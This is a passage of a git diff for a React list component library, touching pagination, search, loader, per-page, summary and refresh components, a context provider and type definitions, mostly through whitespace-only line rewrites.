- ); - } -); +import { memo, useMemo } from "react"; +import type { ReactNode } from "react"; +import { useListContext } from "../context/list-provider"; + +type ReactListLoaderScope = { + isLoading: boolean; +}; + +type ReactListLoaderProps = { + position?: string; + children?: ReactNode | ((scope: ReactListLoaderScope) => ReactNode); +}; + +export const ReactListLoader = memo( + ({ children, position = "overlay" }: ReactListLoaderProps) => { + const { listState } = useListContext(); + const { loader } = listState; + const { isLoading, initialLoading } = loader; + + const scope = useMemo(() => ({ isLoading }), [isLoading]); + + // Docs: do not show loader during the initial skeleton load. + if (initialLoading || !isLoading) return null; + + return ( +
+ {typeof children === "function" ? ( + children(scope) + ) : ( + children || ( +
+

Loading...

+
+ ) + )} +
+ ); + } +); diff --git a/packages/react-list/src/components/pagination.tsx b/packages/react-list/src/components/pagination.tsx index b3c334d..92b76b4 100644 --- a/packages/react-list/src/components/pagination.tsx +++ b/packages/react-list/src/components/pagination.tsx @@ -1,192 +1,192 @@ -import { memo, useMemo } from "react"; -import { useListContext } from "../context/list-provider"; - -import type { ReactNode } from "react"; - -type ReactListPaginationNavigation = { - prev: () => void; - next: () => void; - first: () => void; - last: () => void; - setPage: (newPage: number) => void; -}; - -type ReactListPaginationScope = ReactListPaginationNavigation & { - page: number; - perPage: number; - count: number; - pagesCount: number; - halfWay: number; - hasNext: boolean; - hasPrev: boolean; - pagesToDisplay: number[]; -}; - -type ReactListPaginationPageScope = ReactListPaginationScope & { - isActive: boolean; -}; - -type ReactListPaginationProps = { - pageLinks?: number; - children?: (scope: ReactListPaginationScope) => ReactNode; - renderFirst?: (scope: ReactListPaginationScope) => ReactNode; - renderPrev?: (scope: ReactListPaginationScope) => ReactNode; - renderPages?: (scope: ReactListPaginationScope) => ReactNode; - renderPage?: (scope: ReactListPaginationPageScope) => ReactNode; - renderNext?: (scope: ReactListPaginationScope) => ReactNode; - renderLast?: (scope: ReactListPaginationScope) => ReactNode; -}; - -export const ReactListPagination = memo( - ({ - children, - pageLinks = 5, - renderFirst, - renderPrev, - renderPages, - renderPage, - renderNext, - renderLast, - }: ReactListPaginationProps) => { - const { listState } = useListContext(); - const { data, count, pagination, setPage, loader, error } = listState; - const { page, perPage } = pagination; - const { initialLoading, isLoading } = loader; - - const paginationState = useMemo(() => { - const pagesCount = Math.ceil(count / perPage); - const halfWay = Math.floor(pageLinks / 2); - const hasNext = page * perPage < count; - const hasPrev = page !== 1; - return { pagesCount, halfWay, hasNext, hasPrev }; - }, [count, perPage, page, pageLinks]); - - const pagesToDisplay = useMemo(() => { - const { pagesCount, halfWay } = paginationState; - const pages = Array.from({ length: Math.min(pageLinks, pagesCount) }); - - if (page <= halfWay) { - return pages.map((_, index) => index + 1); - } else if (pagesCount - page < halfWay) { - return pages.map((_, index) => pagesCount - index).reverse(); - } else { - return pages.map((_, index) => page - halfWay + index); - } - }, [page, pageLinks, paginationState]); - - const navigation = useMemo( - () => ({ - prev: () => setPage(page - 1), - next: () => setPage(page + 1), - first: () => setPage(1), - last: () => setPage(paginationState.pagesCount), - setPage: (newPage) => setPage(newPage), - }), - [setPage, page, paginationState.pagesCount] - ); - - const scope = useMemo( - () => ({ - page, - perPage, - count, - ...paginationState, - pagesToDisplay, - ...navigation, - }), - [page, perPage, count, paginationState, pagesToDisplay, navigation] - ); - - if (initialLoading) return null; - - if (!data || data.length === 0) { - return null; - } - - if (error) { - return null; - } - - if (children) return children(scope); - - return ( -
- {renderFirst ? ( - renderFirst(scope) - ) : ( - - )} - - {renderPrev ? ( - renderPrev(scope) - ) : ( - - )} - - {renderPages ? ( - renderPages(scope) - ) : ( -
- {pagesToDisplay.map((pageNum) => { - const isActive = pageNum === page; - const pageScope = { ...scope, page: pageNum, isActive }; - - return renderPage ? ( - renderPage(pageScope as ReactListPaginationPageScope) - ) : ( -
- {isActive ? ( - {pageNum} - ) : ( - - )} -
- ); - })} -
- )} - - {renderNext ? ( - renderNext(scope) - ) : ( - - )} - - {renderLast ? ( - renderLast(scope) - ) : ( - - )} -
- ); - } -); +import { memo, useMemo } from "react"; +import { useListContext } from "../context/list-provider"; + +import type { ReactNode } from "react"; + +type ReactListPaginationNavigation = { + prev: () => void; + next: () => void; + first: () => void; + last: () => void; + setPage: (newPage: number) => void; +}; + +type ReactListPaginationScope = ReactListPaginationNavigation & { + page: number; + perPage: number; + count: number; + pagesCount: number; + halfWay: number; + hasNext: boolean; + hasPrev: boolean; + pagesToDisplay: number[]; +}; + +type ReactListPaginationPageScope = ReactListPaginationScope & { + isActive: boolean; +}; + +type ReactListPaginationProps = { + pageLinks?: number; + children?: (scope: ReactListPaginationScope) => ReactNode; + renderFirst?: (scope: ReactListPaginationScope) => ReactNode; + renderPrev?: (scope: ReactListPaginationScope) => ReactNode; + renderPages?: (scope: ReactListPaginationScope) => ReactNode; + renderPage?: (scope: ReactListPaginationPageScope) => ReactNode; + renderNext?: (scope: ReactListPaginationScope) => ReactNode; + renderLast?: (scope: ReactListPaginationScope) => ReactNode; +}; + +export const ReactListPagination = memo( + ({ + children, + pageLinks = 5, + renderFirst, + renderPrev, + renderPages, + renderPage, + renderNext, + renderLast, + }: ReactListPaginationProps) => { + const { listState } = useListContext(); + const { data, count, pagination, setPage, loader, error } = listState; + const { page, perPage } = pagination; + const { initialLoading, isLoading } = loader; + + const paginationState = useMemo(() => { + const pagesCount = Math.ceil(count / perPage); + const halfWay = Math.floor(pageLinks / 2); + const hasNext = page * perPage < count; + const hasPrev = page !== 1; + return { pagesCount, halfWay, hasNext, hasPrev }; + }, [count, perPage, page, pageLinks]); + + const pagesToDisplay = useMemo(() => { + const { pagesCount, halfWay } = paginationState; + const pages = Array.from({ length: Math.min(pageLinks, pagesCount) }); + + if (page <= halfWay) { + return pages.map((_, index) => index + 1); + } else if (pagesCount - page < halfWay) { + return pages.map((_, index) => pagesCount - index).reverse(); + } else { + return pages.map((_, index) => page - halfWay + index); + } + }, [page, pageLinks, paginationState]); + + const navigation = useMemo( + () => ({ + prev: () => setPage(page - 1), + next: () => setPage(page + 1), + first: () => setPage(1), + last: () => setPage(paginationState.pagesCount), + setPage: (newPage) => setPage(newPage), + }), + [setPage, page, paginationState.pagesCount] + ); + + const scope = useMemo( + () => ({ + page, + perPage, + count, + ...paginationState, + pagesToDisplay, + ...navigation, + }), + [page, perPage, count, paginationState, pagesToDisplay, navigation] + ); + + if (initialLoading) return null; + + if (!data || data.length === 0) { + return null; + } + + if (error) { + return null; + } + + if (children) return children(scope); + + return ( +
+ {renderFirst ? ( + renderFirst(scope) + ) : ( + + )} + + {renderPrev ? ( + renderPrev(scope) + ) : ( + + )} + + {renderPages ? ( + renderPages(scope) + ) : ( +
+ {pagesToDisplay.map((pageNum) => { + const isActive = pageNum === page; + const pageScope = { ...scope, page: pageNum, isActive }; + + return renderPage ? ( + renderPage(pageScope as ReactListPaginationPageScope) + ) : ( +
+ {isActive ? ( + {pageNum} + ) : ( + + )} +
+ ); + })} +
+ )} + + {renderNext ? ( + renderNext(scope) + ) : ( + + )} + + {renderLast ? ( + renderLast(scope) + ) : ( + + )} +
+ ); + } +); diff --git a/packages/react-list/src/components/per-page.tsx b/packages/react-list/src/components/per-page.tsx index ce5e35e..620ffbb 100644 --- a/packages/react-list/src/components/per-page.tsx +++ b/packages/react-list/src/components/per-page.tsx @@ -1,85 +1,85 @@ -import { memo, useCallback, useMemo } from "react"; -import type { ChangeEvent, ReactNode } from "react"; - -import { useListContext } from "../context/list-provider"; - -type ReactListPerPageOptionInput = number | { value: number; label: string }; - -type ReactListPerPageOptionSerialized = { - value: number; - label: string; -}; - -type ReactListPerPageScope = { - perPage: number; - setPerPage: (value: number) => void; - options: ReactListPerPageOptionSerialized[]; -}; - -type ReactListPerPageProps = { - options?: ReactListPerPageOptionInput[]; - children?: (scope: ReactListPerPageScope) => ReactNode; -}; - -export const ReactListPerPage = memo( - ({ children, options = [10, 25, 50, 100] }: ReactListPerPageProps) => { - const { listState } = useListContext(); - const { data, pagination, setPerPage, loader, error } = listState; - const { perPage } = pagination; - const { initialLoading } = loader; - - const serializedOptions = useMemo( - () => - options.map((item) => { - if (typeof item !== "object") { - return { value: item, label: String(item) }; - } - - return { value: item.value, label: item.label }; - }), - [options] - ); - - const handlePerPageChange = useCallback( - (e: ChangeEvent) => { - setPerPage(Number(e.target.value)); - }, - [setPerPage] - ); - - const scope = useMemo( - () => ({ - perPage, - setPerPage, - options: serializedOptions, - }), - [perPage, setPerPage, serializedOptions] - ); - - if (initialLoading) return null; - - if (!data || data.length === 0) { - return null; - } - - if (error) { - return null; - } - - return ( -
- {children ? ( - children(scope) - ) : ( - - )} -
- ); - } -); +import { memo, useCallback, useMemo } from "react"; +import type { ChangeEvent, ReactNode } from "react"; + +import { useListContext } from "../context/list-provider"; + +type ReactListPerPageOptionInput = number | { value: number; label: string }; + +type ReactListPerPageOptionSerialized = { + value: number; + label: string; +}; + +type ReactListPerPageScope = { + perPage: number; + setPerPage: (value: number) => void; + options: ReactListPerPageOptionSerialized[]; +}; + +type ReactListPerPageProps = { + options?: ReactListPerPageOptionInput[]; + children?: (scope: ReactListPerPageScope) => ReactNode; +}; + +export const ReactListPerPage = memo( + ({ children, options = [10, 25, 50, 100] }: ReactListPerPageProps) => { + const { listState } = useListContext(); + const { data, pagination, setPerPage, loader, error } = listState; + const { perPage } = pagination; + const { initialLoading } = loader; + + const serializedOptions = useMemo( + () => + options.map((item) => { + if (typeof item !== "object") { + return { value: item, label: String(item) }; + } + + return { value: item.value, label: item.label }; + }), + [options] + ); + + const handlePerPageChange = useCallback( + (e: ChangeEvent) => { + setPerPage(Number(e.target.value)); + }, + [setPerPage] + ); + + const scope = useMemo( + () => ({ + perPage, + setPerPage, + options: serializedOptions, + }), + [perPage, setPerPage, serializedOptions] + ); + + if (initialLoading) return null; + + if (!data || data.length === 0) { + return null; + } + + if (error) { + return null; + } + + return ( +
+ {children ? ( + children(scope) + ) : ( + + )} +
+ ); + } +); diff --git a/packages/react-list/src/components/refresh.tsx b/packages/react-list/src/components/refresh.tsx index c0df3e4..f57f193 100644 --- a/packages/react-list/src/components/refresh.tsx +++ b/packages/react-list/src/components/refresh.tsx @@ -1,44 +1,44 @@ -import { memo, useCallback, useMemo } from "react"; -import { useListContext } from "../context/list-provider"; - -import type { ReactNode } from "react"; - -type ReactListRefreshScope = { - isLoading: boolean; - refresh: () => void; -}; - -type ReactListRefreshProps = { - children?: ReactNode | ((scope: ReactListRefreshScope) => ReactNode); -}; - -export const ReactListRefresh = memo(({ children }: ReactListRefreshProps) => { - const { listState } = useListContext(); - const { loader, refresh } = listState; - const { isLoading, initialLoading } = loader; - - const handleRefresh = useCallback(() => { - refresh({ isRefresh: true }); - }, [refresh]); - - const scope = useMemo( - () => ({ - isLoading, - refresh: handleRefresh, - }), - [isLoading, handleRefresh] - ); - - if (initialLoading) return null; - - if (typeof children === "function") return children(scope); - if (children) return children; - - return ( -
- -
- ); -}); +import { memo, useCallback, useMemo } from "react"; +import { useListContext } from "../context/list-provider"; + +import type { ReactNode } from "react"; + +type ReactListRefreshScope = { + isLoading: boolean; + refresh: () => void; +}; + +type ReactListRefreshProps = { + children?: ReactNode | ((scope: ReactListRefreshScope) => ReactNode); +}; + +export const ReactListRefresh = memo(({ children }: ReactListRefreshProps) => { + const { listState } = useListContext(); + const { loader, refresh } = listState; + const { isLoading, initialLoading } = loader; + + const handleRefresh = useCallback(() => { + refresh({ isRefresh: true }); + }, [refresh]); + + const scope = useMemo( + () => ({ + isLoading, + refresh: handleRefresh, + }), + [isLoading, handleRefresh] + ); + + if (initialLoading) return null; + + if (typeof children === "function") return children(scope); + if (children) return children; + + return ( +
+ +
+ ); +}); diff --git a/packages/react-list/src/components/search.tsx b/packages/react-list/src/components/search.tsx index 0eb7d1c..668fb20 100644 --- a/packages/react-list/src/components/search.tsx +++ b/packages/react-list/src/components/search.tsx @@ -1,75 +1,75 @@ -import { memo, useEffect, useRef, useState } from "react"; -import type { ReactNode } from "react"; - -import { useListContext } from "../context/list-provider"; - -type ReactListSearchScope = { - search: string; - setSearch: (value: string) => void; -}; - -type ReactListSearchProps = { - debounceTime?: number; - children?: ReactNode | ((scope: ReactListSearchScope) => ReactNode); -}; - -export const ReactListSearch = memo( - ({ children, debounceTime = 500 }: ReactListSearchProps) => { - const { listState } = useListContext(); - const { search, setSearch } = listState; - - const [localSearch, setLocalSearch] = useState(search ?? ""); - const debounceTimerRef = useRef | null>(null); - - // Sync local state with context when the list search value changes. - useEffect(() => { - if (search !== localSearch) { - setLocalSearch(search ?? ""); - } - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [search]); - - const handleChange = (value: string) => { - setLocalSearch(value); - - if (debounceTimerRef.current) { - clearTimeout(debounceTimerRef.current); - } - - debounceTimerRef.current = setTimeout(() => { - setSearch(value); - }, debounceTime); - }; - - useEffect(() => { - return () => { - if (debounceTimerRef.current) { - clearTimeout(debounceTimerRef.current); - } - }; - }, []); - - const scope: ReactListSearchScope = { - search: localSearch, - setSearch: handleChange, - }; - - return ( -
- {typeof children === "function" ? ( - children(scope) - ) : children ? ( - children - ) : ( - handleChange(e.target.value)} - placeholder="Search..." - /> - )} -
- ); - } -); - +import { memo, useEffect, useRef, useState } from "react"; +import type { ReactNode } from "react"; + +import { useListContext } from "../context/list-provider"; + +type ReactListSearchScope = { + search: string; + setSearch: (value: string) => void; +}; + +type ReactListSearchProps = { + debounceTime?: number; + children?: ReactNode | ((scope: ReactListSearchScope) => ReactNode); +}; + +export const ReactListSearch = memo( + ({ children, debounceTime = 500 }: ReactListSearchProps) => { + const { listState } = useListContext(); + const { search, setSearch } = listState; + + const [localSearch, setLocalSearch] = useState(search ?? ""); + const debounceTimerRef = useRef | null>(null); + + // Sync local state with context when the list search value changes. + useEffect(() => { + if (search !== localSearch) { + setLocalSearch(search ?? ""); + } + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [search]); + + const handleChange = (value: string) => { + setLocalSearch(value); + + if (debounceTimerRef.current) { + clearTimeout(debounceTimerRef.current); + } + + debounceTimerRef.current = setTimeout(() => { + setSearch(value); + }, debounceTime); + }; + + useEffect(() => { + return () => { + if (debounceTimerRef.current) { + clearTimeout(debounceTimerRef.current); + } + }; + }, []); + + const scope: ReactListSearchScope = { + search: localSearch, + setSearch: handleChange, + }; + + return ( +
+ {typeof children === "function" ? ( + children(scope) + ) : children ? ( + children + ) : ( + handleChange(e.target.value)} + placeholder="Search..." + /> + )} +
+ ); + } +); + diff --git a/packages/react-list/src/components/summary.tsx b/packages/react-list/src/components/summary.tsx index a360b0a..1d41f46 100644 --- a/packages/react-list/src/components/summary.tsx +++ b/packages/react-list/src/components/summary.tsx @@ -1,68 +1,68 @@ -import { memo, useMemo } from "react"; -import { useListContext } from "../context/list-provider"; - -import type { ReactNode } from "react"; - -type ReactListSummaryScope = { - from: number; - to: number; - visibleCount: number; - count: number; -}; - -type ReactListSummaryProps = { - children?: ReactNode | ((scope: ReactListSummaryScope) => ReactNode); -}; - -export const ReactListSummary = memo( - ({ children }: ReactListSummaryProps) => { - const { listState } = useListContext(); - const { data, count, pagination, loader, error } = listState; - const { page, perPage } = pagination; - const { initialLoading, isLoading } = loader; - - const summaryData = useMemo(() => { - const from = page * perPage - perPage + 1; - const to = Math.min(page * perPage, count); - const visibleCount = data?.length || 0; - - return { from, to, visibleCount }; - }, [page, perPage, count, data]); - - const scope = useMemo( - () => ({ - ...summaryData, - count, - }), - [summaryData, count] - ); - - if (initialLoading) return null; - - if (!data || data.length === 0) { - return null; - } - - if (error) { - return null; - } - - return ( -
- {typeof children === "function" ? ( - children(scope) - ) : children ? ( - children - ) : ( - - Showing {summaryData.visibleCount} items ( - - {summaryData.from} - {summaryData.to} - - ) out of {count} - - )} -
- ); - } -); +import { memo, useMemo } from "react"; +import { useListContext } from "../context/list-provider"; + +import type { ReactNode } from "react"; + +type ReactListSummaryScope = { + from: number; + to: number; + visibleCount: number; + count: number; +}; + +type ReactListSummaryProps = { + children?: ReactNode | ((scope: ReactListSummaryScope) => ReactNode); +}; + +export const ReactListSummary = memo( + ({ children }: ReactListSummaryProps) => { + const { listState } = useListContext(); + const { data, count, pagination, loader, error } = listState; + const { page, perPage } = pagination; + const { initialLoading, isLoading } = loader; + + const summaryData = useMemo(() => { + const from = page * perPage - perPage + 1; + const to = Math.min(page * perPage, count); + const visibleCount = data?.length || 0; + + return { from, to, visibleCount }; + }, [page, perPage, count, data]); + + const scope = useMemo( + () => ({ + ...summaryData, + count, + }), + [summaryData, count] + ); + + if (initialLoading) return null; + + if (!data || data.length === 0) { + return null; + } + + if (error) { + return null; + } + + return ( +
+ {typeof children === "function" ? ( + children(scope) + ) : children ? ( + children + ) : ( + + Showing {summaryData.visibleCount} items ( + + {summaryData.from} - {summaryData.to} + + ) out of {count} + + )} +
+ ); + } +); diff --git a/packages/react-list/src/components/utils.ts b/packages/react-list/src/components/utils.ts index e9f4e33..480f123 100644 --- a/packages/react-list/src/components/utils.ts +++ b/packages/react-list/src/components/utils.ts @@ -1,49 +1,49 @@ -export const deepEqual = (obj1: unknown, obj2: unknown): boolean => { - if (obj1 === obj2) return true; - - if (obj1 == null || obj2 == null) return obj1 === obj2; - - if (typeof obj1 !== "object" || typeof obj2 !== "object") { - return obj1 === obj2; - } - - if (Array.isArray(obj1) && Array.isArray(obj2)) { - if (obj1.length !== obj2.length) return false; - for (let i = 0; i < obj1.length; i++) { - if (!deepEqual(obj1[i], obj2[i])) return false; - } - return true; - } - - if (Array.isArray(obj1) || Array.isArray(obj2)) return false; - - const record1 = obj1 as Record; - const record2 = obj2 as Record; - - const keys1 = Object.keys(record1).filter((key) => record1[key] !== undefined); - const keys2 = Object.keys(record2).filter((key) => record2[key] !== undefined); - - if (keys1.length !== keys2.length) return false; - - for (const key of keys1) { - if (!keys2.includes(key)) return false; - if (!deepEqual(record1[key], record2[key])) return false; - } - - return true; -}; - -export const hasActiveFilters = ( - currentFilters: Record | null | undefined, - initialFilters: Record | null | undefined -): boolean => { - if (!initialFilters || Object.keys(initialFilters).length === 0) { - return !!currentFilters && Object.keys(currentFilters).length > 0; - } - - if (!currentFilters || Object.keys(currentFilters).length === 0) { - return false; - } - - return !deepEqual(currentFilters, initialFilters); -}; +export const deepEqual = (obj1: unknown, obj2: unknown): boolean => { + if (obj1 === obj2) return true; + + if (obj1 == null || obj2 == null) return obj1 === obj2; + + if (typeof obj1 !== "object" || typeof obj2 !== "object") { + return obj1 === obj2; + } + + if (Array.isArray(obj1) && Array.isArray(obj2)) { + if (obj1.length !== obj2.length) return false; + for (let i = 0; i < obj1.length; i++) { + if (!deepEqual(obj1[i], obj2[i])) return false; + } + return true; + } + + if (Array.isArray(obj1) || Array.isArray(obj2)) return false; + + const record1 = obj1 as Record; + const record2 = obj2 as Record; + + const keys1 = Object.keys(record1).filter((key) => record1[key] !== undefined); + const keys2 = Object.keys(record2).filter((key) => record2[key] !== undefined); + + if (keys1.length !== keys2.length) return false; + + for (const key of keys1) { + if (!keys2.includes(key)) return false; + if (!deepEqual(record1[key], record2[key])) return false; + } + + return true; +}; + +export const hasActiveFilters = ( + currentFilters: Record | null | undefined, + initialFilters: Record | null | undefined +): boolean => { + if (!initialFilters || Object.keys(initialFilters).length === 0) { + return !!currentFilters && Object.keys(currentFilters).length > 0; + } + + if (!currentFilters || Object.keys(currentFilters).length === 0) { + return false; + } + + return !deepEqual(currentFilters, initialFilters); +}; diff --git a/packages/react-list/src/context/list-provider.tsx b/packages/react-list/src/context/list-provider.tsx index 0182397..a745a77 100644 --- a/packages/react-list/src/context/list-provider.tsx +++ b/packages/react-list/src/context/list-provider.tsx @@ -1,91 +1,91 @@ -import { createContext, useContext, useMemo, useState } from "react"; -import type { ReactNode } from "react"; - -import type { - ReactListContextValue, - ReactListFilters, - ReactListItem, - ReactListItemId, - ReactListListState, - ReactListProviderConfig, - ReactListResponse, - ReactListRequestHandler, - ReactListStateManager, -} from "../types"; - -const ListContext = createContext(null); - -type ReactListProviderProps = { - children: ReactNode; - config: ReactListProviderConfig; -}; - -const noop = () => {}; - -export const ReactListProvider = ({ children, config }: ReactListProviderProps) => { - const { requestHandler, stateManager = {} } = config; - - if (!requestHandler) { - throw new Error("ListProvider: requestHandler is required."); - } - - const [listState, setListState] = useState>({ - data: [], - response: null as ReactListResponse | null, - error: null, - count: 0, - selection: [] as ReactListItemId[], - pagination: { - page: 1, - perPage: 25, - hasMore: false, - }, - loader: { - isLoading: false, - initialLoading: true, - }, - sort: { - sortBy: "", - sortOrder: "desc", - }, - hasActiveFilters: false, - search: "", - filters: {}, - attrs: [], - attrSettings: {}, - isEmpty: true, - - // These actions are replaced by `ReactList` once it mounts. - setPage: noop, - setPerPage: noop, - setSearch: noop, - setSort: noop, - loadMore: noop, - clearFilters: noop, - refresh: noop, - setFilters: noop, - updateAttr: noop, - updateItemById: noop, - setSelection: noop, - }); - - const value: ReactListContextValue = useMemo( - () => ({ - requestHandler: requestHandler as ReactListRequestHandler, - stateManager: stateManager as ReactListStateManager, - listState, - setListState, - }), - [requestHandler, stateManager, listState] - ); - - return {children}; -}; - -export const useListContext = (): ReactListContextValue => { - const context = useContext(ListContext); - if (!context) { - throw new Error("useListContext must be used within a ListProvider"); - } - return context; -}; +import { createContext, useContext, useMemo, useState } from "react"; +import type { ReactNode } from "react"; + +import type { + ReactListContextValue, + ReactListFilters, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListProviderConfig, + ReactListResponse, + ReactListRequestHandler, + ReactListStateManager, +} from "../types"; + +const ListContext = createContext(null); + +type ReactListProviderProps = { + children: ReactNode; + config: ReactListProviderConfig; +}; + +const noop = () => {}; + +export const ReactListProvider = ({ children, config }: ReactListProviderProps) => { + const { requestHandler, stateManager = {} } = config; + + if (!requestHandler) { + throw new Error("ListProvider: requestHandler is required."); + } + + const [listState, setListState] = useState>({ + data: [], + response: null as ReactListResponse | null, + error: null, + count: 0, + selection: [] as ReactListItemId[], + pagination: { + page: 1, + perPage: 25, + hasMore: false, + }, + loader: { + isLoading: false, + initialLoading: true, + }, + sort: { + sortBy: "", + sortOrder: "desc", + }, + hasActiveFilters: false, + search: "", + filters: {}, + attrs: [], + attrSettings: {}, + isEmpty: true, + + // These actions are replaced by `ReactList` once it mounts. + setPage: noop, + setPerPage: noop, + setSearch: noop, + setSort: noop, + loadMore: noop, + clearFilters: noop, + refresh: noop, + setFilters: noop, + updateAttr: noop, + updateItemById: noop, + setSelection: noop, + }); + + const value: ReactListContextValue = useMemo( + () => ({ + requestHandler: requestHandler as ReactListRequestHandler, + stateManager: stateManager as ReactListStateManager, + listState, + setListState, + }), + [requestHandler, stateManager, listState] + ); + + return {children}; +}; + +export const useListContext = (): ReactListContextValue => { + const context = useContext(ListContext); + if (!context) { + throw new Error("useListContext must be used within a ListProvider"); + } + return context; +}; diff --git a/packages/react-list/src/index.ts b/packages/react-list/src/index.ts index 65eca60..dc5c5d7 100644 --- a/packages/react-list/src/index.ts +++ b/packages/react-list/src/index.ts @@ -1,37 +1,37 @@ -export { ReactListAttributes } from "./components/attributes"; -export { ReactListEmpty } from "./components/empty"; -export { ReactListError } from "./components/error"; -export { ReactListGoTo } from "./components/go-to"; -export { ReactListInitialLoader } from "./components/initial-loader"; -export { ReactListItems } from "./components/items"; -export { default } from "./components/list"; -export { ReactListLoadMore } from "./components/load-more"; -export { ReactListLoader } from "./components/loader"; -export { ReactListPagination } from "./components/pagination"; -export { ReactListPerPage } from "./components/per-page"; -export { ReactListRefresh } from "./components/refresh"; -export { ReactListSearch } from "./components/search"; -export { ReactListSummary } from "./components/summary"; -export { ReactListProvider } from "./context/list-provider"; - -export type { - ReactListAttrSettings, - ReactListContext, - ReactListContextValue, - ReactListFilters, - ReactListAttribute, - ReactListProps, - ReactListPaginationMode, - ReactListItem, - ReactListItemId, - ReactListListState, - ReactListLoaderState, - ReactListPaginationState, - ReactListProviderConfig, - ReactListRequestArgs, - ReactListRequestHandler, - ReactListResponse, - ReactListSort, - ReactListSortOrder, - ReactListStateManager, -} from "./types"; +export { ReactListAttributes } from "./components/attributes"; +export { ReactListEmpty } from "./components/empty"; +export { ReactListError } from "./components/error"; +export { ReactListGoTo } from "./components/go-to"; +export { ReactListInitialLoader } from "./components/initial-loader"; +export { ReactListItems } from "./components/items"; +export { default } from "./components/list"; +export { ReactListLoadMore } from "./components/load-more"; +export { ReactListLoader } from "./components/loader"; +export { ReactListPagination } from "./components/pagination"; +export { ReactListPerPage } from "./components/per-page"; +export { ReactListRefresh } from "./components/refresh"; +export { ReactListSearch } from "./components/search"; +export { ReactListSummary } from "./components/summary"; +export { ReactListProvider } from "./context/list-provider"; + +export type { + ReactListAttrSettings, + ReactListContext, + ReactListContextValue, + ReactListFilters, + ReactListAttribute, + ReactListProps, + ReactListPaginationMode, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListLoaderState, + ReactListPaginationState, + ReactListProviderConfig, + ReactListRequestArgs, + ReactListRequestHandler, + ReactListResponse, + ReactListSort, + ReactListSortOrder, + ReactListStateManager, +} from "./types"; diff --git a/packages/react-list/src/types/index.ts b/packages/react-list/src/types/index.ts index d27aaf5..a81caee 100644 --- a/packages/react-list/src/types/index.ts +++ b/packages/react-list/src/types/index.ts @@ -1,22 +1,22 @@ -export type { - ReactListAttrSettings, - ReactListContext, - ReactListContextValue, - ReactListItem, - ReactListItemId, - ReactListListState, - ReactListLoaderState, - ReactListPaginationState, - ReactListProviderConfig, - ReactListRequestArgs, - ReactListRequestHandler, - ReactListResponse, - ReactListSort, - ReactListSortOrder, - ReactListStateManager, - ReactListFilters, - ReactListAttribute, -} from './list-provider.ts'; - -export type { ReactListProps, ReactListPaginationMode } from './react-list'; - +export type { + ReactListAttrSettings, + ReactListContext, + ReactListContextValue, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListLoaderState, + ReactListPaginationState, + ReactListProviderConfig, + ReactListRequestArgs, + ReactListRequestHandler, + ReactListResponse, + ReactListSort, + ReactListSortOrder, + ReactListStateManager, + ReactListFilters, + ReactListAttribute, +} from './list-provider.ts'; + +export type { ReactListProps, ReactListPaginationMode } from './react-list'; + diff --git a/packages/react-list/src/types/list-provider.ts b/packages/react-list/src/types/list-provider.ts index 795ddbd..a7b58a5 100644 --- a/packages/react-list/src/types/list-provider.ts +++ b/packages/react-list/src/types/list-provider.ts @@ -1,156 +1,156 @@ -import type * as React from 'react'; - -export type ReactListItemId = string | number; - -export type ReactListItem = Record & { - id?: ReactListItemId; -}; - -export type ReactListFilters = Record; - -export type ReactListSortOrder = '' | 'asc' | 'desc' | (string & {}); - -export type ReactListAttrSettings = Record< - string, - { - visible: boolean; - } ->; - -export type ReactListRequestArgs< - TFilters extends ReactListFilters = ReactListFilters, -> = { - endpoint: string; - version: number; - meta: Record; - page: number; - perPage: number; - search: string; - sortBy: string; - sortOrder: ReactListSortOrder; - filters: TFilters; -} & Record; - -export type ReactListResponse = { - items: TItem[]; - count: number; - meta?: unknown; - [key: string]: unknown; -}; - -export type ReactListRequestHandler< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = (args: ReactListRequestArgs) => Promise>; - -export type ReactListPersistedState< - TFilters extends ReactListFilters = ReactListFilters, -> = { - page?: number; - perPage?: number; - sortBy?: string; - sortOrder?: ReactListSortOrder; - search?: string; - attrSettings?: ReactListAttrSettings; - filters?: TFilters; -}; - -export type ReactListContext = { - endpoint: string; - version: number; - meta: Record; - search: string; - page: number; - perPage: number; - sortBy: string; - sortOrder: ReactListSortOrder; - filters: TFilters; - attrSettings: ReactListAttrSettings; - isRefresh: boolean; -}; - -export type ReactListStateManager< - TFilters extends ReactListFilters = ReactListFilters, -> = { - init?: (context: ReactListContext) => void; - get?: (context: ReactListContext) => ReactListPersistedState | null; - set?: (context: ReactListContext) => void; -}; - -export type ReactListProviderConfig< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - requestHandler: ReactListRequestHandler; - stateManager?: ReactListStateManager; -}; - -export type ReactListPaginationState = { - page: number; - perPage: number; - hasMore: boolean; -}; - -export type ReactListLoaderState = { - isLoading: boolean; - initialLoading: boolean; -}; - -export type ReactListSort = { - sortBy: string; - sortOrder: ReactListSortOrder; -}; - -export type ReactListAttribute = { - name: string; - label?: string; -}; - -export type ReactListActions< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - setPage: (value: number, addContext?: Record) => void; - setPerPage: (value: number) => void; - setSearch: (value: string) => void; - setSort: (args: { by: string; order: ReactListSortOrder }) => void; - loadMore: () => void; - clearFilters: () => void; - refresh: (addContext?: Record) => void; - setFilters: (filters: TFilters) => void; - updateAttr: (attrName: string, settingKey: string, value: unknown) => void; - updateItemById: (item: Partial, id: ReactListItemId) => void; - setSelection: (selection: ReactListItemId[]) => void; -}; - -export type ReactListListState< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - data: TItem[]; - response: ReactListResponse | null; - error: Error | null; - count: number; - selection: ReactListItemId[]; - pagination: ReactListPaginationState; - loader: ReactListLoaderState; - sort: ReactListSort; - hasActiveFilters: boolean; - search: string; - filters: TFilters; - attrs: ReactListAttribute[]; - attrSettings: ReactListAttrSettings; - isEmpty: boolean; - // Actions are appended by the main `ReactList` component. -} & ReactListActions; - -export type ReactListContextValue< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - requestHandler: ReactListRequestHandler; - stateManager: ReactListStateManager; - listState: ReactListListState; - setListState: React.Dispatch>>; -}; - +import type * as React from 'react'; + +export type ReactListItemId = string | number; + +export type ReactListItem = Record & { + id?: ReactListItemId; +}; + +export type ReactListFilters = Record; + +export type ReactListSortOrder = '' | 'asc' | 